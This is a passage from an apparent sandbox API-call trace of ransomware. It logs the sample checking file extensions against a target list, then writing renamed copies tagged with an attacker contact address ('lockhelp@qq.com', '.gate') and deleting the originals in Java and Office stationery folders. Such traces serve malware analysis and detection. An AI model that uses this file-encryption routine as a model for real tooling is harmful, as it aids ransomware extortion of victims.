shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0115.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0115.963] lstrlenW (lpString=".doc") returned 4 [0115.963] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0116.008] lstrlenW (lpString=".docx") returned 5 [0116.008] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0116.008] lstrlenW (lpString=".pdf") returned 4 [0116.008] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0116.008] lstrlenW (lpString=".xls") returned 4 [0116.008] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0116.008] lstrlenW (lpString=".xlsx") returned 5 [0116.008] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0116.008] lstrlenW (lpString=".ppt") returned 4 [0116.008] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0116.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0116.009] lstrlenW (lpString=".zip") returned 4 [0116.009] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0116.009] lstrlenW (lpString=".rar") returned 4 [0116.009] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0116.009] lstrlenW (lpString=".bz2") returned 4 [0116.009] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0116.009] lstrlenW (lpString=".7z") returned 3 [0116.009] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0116.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0116.009] lstrlenW (lpString=".dbf") returned 4 [0116.009] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0116.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0116.009] lstrlenW (lpString=".1cd") returned 4 [0116.009] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0116.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0116.009] lstrlenW (lpString=".jpg") returned 4 [0116.009] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0116.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0116.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0116.010] lstrlenW (lpString=".doc") returned 4 [0116.010] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0116.010] lstrlenW (lpString=".docx") returned 5 [0116.010] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0116.010] lstrlenW (lpString=".pdf") returned 4 [0116.010] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0116.010] lstrlenW (lpString=".xls") returned 4 [0116.010] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0116.010] lstrlenW (lpString=".xlsx") returned 5 [0116.010] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0116.010] lstrlenW (lpString=".ppt") returned 4 [0116.010] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0116.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0116.010] lstrlenW (lpString=".zip") returned 4 [0116.010] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0116.010] lstrlenW (lpString=".rar") returned 4 [0116.011] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0116.011] lstrlenW (lpString=".bz2") returned 4 [0116.011] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0116.011] lstrlenW (lpString=".7z") returned 3 [0116.011] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0116.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0116.011] lstrlenW (lpString=".dbf") returned 4 [0116.011] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0116.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0116.011] lstrlenW (lpString=".1cd") returned 4 [0116.011] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0116.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0116.011] lstrlenW (lpString=".jpg") returned 4 [0116.011] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0116.012] lstrcmpiW (lpString1=".gif", lpString2=".gate") returned 1 [0116.012] lstrlenW (lpString="splash@2x.gif") returned 13 [0116.012] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0116.013] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=15276) returned 1 [0116.013] CloseHandle (hObject=0x368) returned 1 [0116.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20 [0116.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.014] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0116.014] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.014] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.014] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0116.015] GetLastError () returned 0x0 [0116.015] ReadFile (in: hFile=0x368, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x3bac, lpOverlapped=0x0) returned 1 [0116.068] WriteFile (in: hFile=0x320, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x3bb0, lpOverlapped=0x0) returned 1 [0116.070] ReadFile (in: hFile=0x368, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0116.070] WriteFile (in: hFile=0x320, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xee, lpOverlapped=0x0) returned 1 [0116.070] SetEndOfFile (hFile=0x320) returned 1 [0116.070] CloseHandle (hObject=0x320) returned 1 [0116.074] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.075] SetEndOfFile (hFile=0x368) returned 1 [0116.076] CloseHandle (hObject=0x368) returned 1 [0116.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.076] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1 [0116.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0116.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0116.077] lstrlenW (lpString=".doc") returned 4 [0116.077] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.077] lstrlenW (lpString=".docx") returned 5 [0116.077] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0116.077] lstrlenW (lpString=".pdf") returned 4 [0116.077] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.077] lstrlenW (lpString=".xls") returned 4 [0116.077] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.077] lstrlenW (lpString=".xlsx") returned 5 [0116.077] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0116.077] lstrlenW (lpString=".ppt") returned 4 [0116.077] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0116.077] lstrlenW (lpString=".zip") returned 4 [0116.077] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.077] lstrlenW (lpString=".rar") returned 4 [0116.077] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.077] lstrlenW (lpString=".bz2") returned 4 [0116.077] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.077] lstrlenW (lpString=".7z") returned 3 [0116.077] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0116.078] lstrlenW (lpString=".dbf") returned 4 [0116.078] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0116.078] lstrlenW (lpString=".1cd") returned 4 [0116.078] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0116.078] lstrlenW (lpString=".jpg") returned 4 [0116.078] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0116.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0116.078] lstrlenW (lpString=".doc") returned 4 [0116.078] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.078] lstrlenW (lpString=".docx") returned 5 [0116.078] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0116.078] lstrlenW (lpString=".pdf") returned 4 [0116.078] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.078] lstrlenW (lpString=".xls") returned 4 [0116.078] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.078] lstrlenW (lpString=".xlsx") returned 5 [0116.079] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0116.079] lstrlenW (lpString=".ppt") returned 4 [0116.079] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0116.079] lstrlenW (lpString=".zip") returned 4 [0116.079] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.079] lstrlenW (lpString=".rar") returned 4 [0116.079] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.079] lstrlenW (lpString=".bz2") returned 4 [0116.079] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.079] lstrlenW (lpString=".7z") returned 3 [0116.079] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0116.079] lstrlenW (lpString=".dbf") returned 4 [0116.079] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0116.079] lstrlenW (lpString=".1cd") returned 4 [0116.079] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0116.079] lstrlenW (lpString=".jpg") returned 4 [0116.079] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.080] lstrcmpiW (lpString1=".gif", lpString2=".gate") returned 1 [0116.080] lstrlenW (lpString="invalid32x32.gif") returned 16 [0116.080] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0116.081] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=153) returned 1 [0116.081] CloseHandle (hObject=0x368) returned 1 [0116.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20 [0116.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.081] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0116.081] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.081] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.081] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0116.082] GetLastError () returned 0x0 [0116.082] ReadFile (in: hFile=0x368, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x99, lpOverlapped=0x0) returned 1 [0116.083] WriteFile (in: hFile=0x320, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xa0, lpOverlapped=0x0) returned 1 [0116.084] ReadFile (in: hFile=0x368, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0116.084] WriteFile (in: hFile=0x320, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xf4, lpOverlapped=0x0) returned 1 [0116.085] SetEndOfFile (hFile=0x320) returned 1 [0116.085] CloseHandle (hObject=0x320) returned 1 [0116.095] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.095] SetEndOfFile (hFile=0x368) returned 1 [0116.096] CloseHandle (hObject=0x368) returned 1 [0116.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.097] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1 [0116.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0116.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0116.097] lstrlenW (lpString=".doc") returned 4 [0116.098] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.098] lstrlenW (lpString=".docx") returned 5 [0116.098] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0116.098] lstrlenW (lpString=".pdf") returned 4 [0116.098] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.098] lstrlenW (lpString=".xls") returned 4 [0116.098] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.098] lstrlenW (lpString=".xlsx") returned 5 [0116.098] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0116.098] lstrlenW (lpString=".ppt") returned 4 [0116.098] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0116.098] lstrlenW (lpString=".zip") returned 4 [0116.098] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.098] lstrlenW (lpString=".rar") returned 4 [0116.098] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.098] lstrlenW (lpString=".bz2") returned 4 [0116.098] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.098] lstrlenW (lpString=".7z") returned 3 [0116.098] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0116.099] lstrlenW (lpString=".dbf") returned 4 [0116.099] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0116.099] lstrlenW (lpString=".1cd") returned 4 [0116.099] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0116.099] lstrlenW (lpString=".jpg") returned 4 [0116.099] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0116.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0116.099] lstrlenW (lpString=".doc") returned 4 [0116.099] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.099] lstrlenW (lpString=".docx") returned 5 [0116.099] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0116.099] lstrlenW (lpString=".pdf") returned 4 [0116.099] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.099] lstrlenW (lpString=".xls") returned 4 [0116.100] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.100] lstrlenW (lpString=".xlsx") returned 5 [0116.100] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0116.100] lstrlenW (lpString=".ppt") returned 4 [0116.100] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0116.100] lstrlenW (lpString=".zip") returned 4 [0116.100] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.100] lstrlenW (lpString=".rar") returned 4 [0116.100] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.100] lstrlenW (lpString=".bz2") returned 4 [0116.100] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.100] lstrlenW (lpString=".7z") returned 3 [0116.100] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0116.100] lstrlenW (lpString=".dbf") returned 4 [0116.100] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0116.100] lstrlenW (lpString=".1cd") returned 4 [0116.100] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0116.100] lstrlenW (lpString=".jpg") returned 4 [0116.100] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.101] lstrcmpiW (lpString1=".gif", lpString2=".gate") returned 1 [0116.101] lstrlenW (lpString="win32_CopyDrop32x32.gif") returned 23 [0116.101] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0116.402] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=165) returned 1 [0116.403] CloseHandle (hObject=0x368) returned 1 [0116.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0116.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.404] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0116.405] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.405] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0116.406] GetLastError () returned 0x0 [0116.406] ReadFile (in: hFile=0x368, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0xa5, lpOverlapped=0x0) returned 1 [0116.409] WriteFile (in: hFile=0x320, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xb0, lpOverlapped=0x0) returned 1 [0116.412] ReadFile (in: hFile=0x368, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0116.412] WriteFile (in: hFile=0x320, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x102, lpOverlapped=0x0) returned 1 [0116.413] SetEndOfFile (hFile=0x320) returned 1 [0116.413] CloseHandle (hObject=0x320) returned 1 [0116.421] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.421] SetEndOfFile (hFile=0x368) returned 1 [0116.422] CloseHandle (hObject=0x368) returned 1 [0116.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.422] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1 [0116.423] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0116.423] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0116.423] lstrlenW (lpString=".doc") returned 4 [0116.423] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.423] lstrlenW (lpString=".docx") returned 5 [0116.423] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0116.423] lstrlenW (lpString=".pdf") returned 4 [0116.423] 